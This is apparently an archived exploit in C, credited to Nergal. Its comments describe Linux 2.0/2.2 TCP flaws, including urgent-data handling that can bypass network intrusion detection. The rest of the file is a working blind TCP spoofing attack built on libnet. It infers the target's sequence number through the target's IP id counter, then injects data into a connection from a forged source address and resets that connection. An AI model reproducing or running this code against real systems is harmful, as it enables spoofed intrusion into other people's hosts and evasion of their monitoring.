/* 2. A byte of urgent data can be received in normal data stream. Let's consider the following scenario: Time Client app Server app 0 bind(...), listen(...), accept(...) 1 connect(...) 2 accept(...) returns newsock 3 send(sockfd,"AB",2,MSG_OOB) 4 send(sockfd,"XY",2,MSG_OOB) 5 n=read(newsock,buffer,1024) function read returns 3, buffer contains "ABX", though byte 'B' was marked as urgent. Verified with 2.0.37 and 2.2.9-ac1, probably all versions are vulnerable. Note that this behaviour can be exploited to bypass NIDS. 3. Weird handling of 3rd stage of TCP handshake. Time packets sent by a client packets sent by a server 0 flags=S,seq=X 1 flags=SA,seq=Y,ack_seq=X+1 2 flags=A,seq=X+1,ack_seq=Y-4,data="xyz" 3 flags=A,seq=Y+1,ack_seq=X+4 no data is returned to app 4 flags=SA,seq=Y+1,ack_seq=X+4 5 flags=A,seq=X+1,ack_seq=Y+1,data="1234567" 6 flags=A,seq=Y+1,ack_seq=X+8 app receives "4567" which is inconsitent. Either the packet sent in time 2 should be discarded and app should receive "1234567", or app should receive "xyz4567" . Verified on 2.0.36, 2.2.x behaves correctly (sends reset in time 3). Usually it is not a problem, but IDS developers can be worried. Save yourself, Nergal -requires libnet (which can be downloaded from www.packetfactory.net). */ #include "libnet.h" #include #include int sock, icmp_sock; int packid; unsigned int target, target_port, spoofed, spoofed_port; unsigned long myaddr; int get_id () { char buf[200]; char buf2[200]; int n; unsigned long addr; build_icmp_echo (ICMP_ECHO, 0, getpid (), 1, 0, 0, buf + IP_H); build_ip (ICMP_ECHO_H, 0, packid++, 0, 64, IPPROTO_ICMP, myaddr, target, 0, 0, buf); do_checksum (buf, IPPROTO_ICMP, ICMP_ECHO_H); write_ip (sock, buf, IP_H + ICMP_ECHO_H); do { n = read (icmp_sock, buf2, 200); addr = ((struct iphdr *) buf2)->saddr; } while (addr != target); return ntohs (((struct iphdr *) buf2)->id); } static int first_try; int is_bigger () { static unsigned short id = 0, tmp; usleep (10000); tmp = get_id (); if (tmp == id + 1) { id = tmp; return 0; } else if (tmp == id + 2) { id = tmp; return 1; } else { if (first_try) { id = tmp; first_try = 0; return 0; } fprintf (stderr, "Unexpected IP id, diff=%i\n", tmp - id); exit (1); } } void probe (unsigned int ack) { char buf[200]; usleep (10000); build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, 0, 0, buf + IP_H); build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed, target, 0, 0, buf); do_checksum (buf, IPPROTO_TCP, TCP_H); write_ip (sock, buf, IP_H + TCP_H); } void send_data (unsigned int ack, char *rant) { char * buf=alloca(200+strlen(rant)); build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, rant, strlen (rant), buf + IP_H); build_ip (TCP_H + strlen (rant), 0, packid++, 0, 64, IPPROTO_TCP, spoofed, target, 0, 0, buf); do_checksum (buf, IPPROTO_TCP, TCP_H + strlen (rant)); write_ip (sock, buf, IP_H + TCP_H + strlen (rant)); } void send_syn () { char buf[200]; build_tcp (spoofed_port, target_port, 1, 0, 2, 32000, 0, 0, 0, buf + IP_H); build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed, target, 0, 0, buf); do_checksum (buf, IPPROTO_TCP, TCP_H); write_ip (sock, buf, IP_H + TCP_H); } #define MESSAGE "Check out netstat on this host :)\n" void send_reset () { char buf[200]; build_tcp (spoofed_port, target_port, 4 + strlen (MESSAGE), 0, 4, 32000, 0, 0, 0, buf + IP_H); build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed, target, 0, 0, buf); do_checksum (buf, IPPROTO_TCP, TCP_H); write_ip (sock, buf, IP_H + TCP_H); } #define LOTS ((unsigned int)(1<<30)) main (int argc, char **argv) { unsigned int seq_low = 0, seq_high = 0, seq_toohigh, seq_curr; int i; char myhost[100]; struct hostent *ht; if (argc != 5) { printf ("usage:%s target_ip target_port spoofed_ip spofed_port\n", argv[0]); exit (1); } gethostname (myhost, 100); ht = gethostbyname (myhost); if (!ht) { printf ("Your system is screwed.\n"); exit (1); } myaddr = *(unsigned long *) (ht->h_addr); target = inet_addr (argv[1]); target_port = atoi (argv[2]); spoofed = inet_addr (argv[3]); spoofed_port = atoi (argv[4]); sock = open_raw_sock (IPPROTO_RAW); icmp_sock = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP); if (sock <= 0 || icmp_sock <= 0) { perror ("raw sockets"); exit (1); } packid = getpid () * 256; fprintf(stderr,"Checking for IP id increments\n"); first_try=1; for (i = 0; i < 5; i++) { is_bigger (); sleep(1); fprintf(stderr,"#"); } send_syn (); fprintf (stderr, "\nSyn sent, waiting 33 sec to get rid of resent SYN+ACK..."); for (i = 0; i < 33; i++) { fprintf (stderr, "#"); sleep (1); } fprintf (stderr, "\nack_seq accuracy:"); first_try=1; is_bigger(); probe (LOTS); if (is_bigger ()) seq_high = LOTS; else seq_low = LOTS; probe (2 * LOTS); if (is_bigger ()) seq_high = 2 * LOTS; else seq_low = 2 * LOTS; probe (3 * LOTS); if (is_bigger ()) seq_high = 3 * LOTS; else seq_low = 3 * LOTS; seq_toohigh = seq_high; if (seq_high == 0 || seq_low == 0) { fprintf (stderr, "Non-listening port or not 2.0.x machine\n"); send_reset (); exit (0); } do { fprintf (stderr, "%i ", (unsigned int) (seq_high - seq_low)); if (seq_high > seq_low) seq_curr = seq_high / 2 + seq_low / 2 + (seq_high % 2 + seq_low % 2) / 2; else seq_curr = seq_low + (unsigned int) (1 << 31) - (seq_low - seq_high) / 2; probe (seq_curr); if (is_bigger ()) seq_high = seq_curr; else seq_low = seq_curr; probe (seq_toohigh); if (!is_bigger ()) break; // getchar(); } while ((unsigned int) (seq_high - seq_low) > 1); fprintf (stderr, "\nack_seq=%u, sending data...\n", seq_curr); send_data (seq_curr, MESSAGE); fprintf (stderr, "Press any key to send reset.\n"); getchar (); send_reset (); } /* www.hack.co.za [2000]*/